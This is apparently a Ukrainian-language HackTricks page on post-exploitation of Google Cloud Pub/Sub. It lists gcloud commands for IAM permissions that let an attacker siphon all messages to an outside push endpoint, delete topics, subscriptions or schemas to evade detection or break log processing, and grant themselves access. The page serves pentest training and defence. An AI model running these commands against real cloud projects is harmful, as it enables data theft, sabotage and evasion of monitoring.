GCP - Pub/Sub Post Exploitation

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Pub/Sub

Для отримання додаткової інформації про Pub/Sub перегляньте наступну сторінку:

pageGCP - Pub/Sub Enum

pubsub.topics.publish

Опублікуйте повідомлення в темі, корисно для відправки неочікуваних даних та спрацювання неочікуваних функцій або використання вразливостей:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Корисно для того, щоб запобігти отриманню повідомлень підпискою, можливо, для уникнення виявлення.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Корисно, щоб запобігти отриманню підписки повідомлень, можливо, щоб уникнути виявлення. Можливо видалити тему навіть з підписками, прикріпленими до неї.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Використовуйте це дозвіл для оновлення деяких налаштувань теми для її розрушення, таких як --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Надайте собі дозвіл на виконання будь-яких зазначених вище атак.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Отримайте всі повідомлення на веб-сервері:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Створіть підписку та використовуйте її для витягування повідомлень:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Видалення підписки може бути корисним для перешкоджання системи обробки журналів або чогось подібного:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Використовуйте це дозвіл для оновлення деяких налаштувань, щоб повідомлення зберігалися в місці, до якого ви можете отримати доступ (URL, таблиця Big Query, Bucket) або просто для його порушення.

pubsub.subscriptions.setIamPolicy

Надайте собі необхідні дозволи для виконання будь-яких зазначених вище атак.

pubsub.schemas.delete

Видаліть схему, щоб мати можливість надсилати повідомлення, які не відповідають схемі:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Прикріпіть схему до теми, щоб повідомлення не відповідали їй, і, отже, тема була порушена. Якщо схем немає, можливо, вам потрібно створити одну.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.setIamPolicy`

Надайте собі дозволи, необхідні для виконання будь-яких зазначених раніше атак.

pubsub.snapshots.create, pubsub.snapshots.seek

Це створить знімок всіх непідтверджених повідомлень та поверне їх до підписки. Не дуже корисно для зловмисника, але ось:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated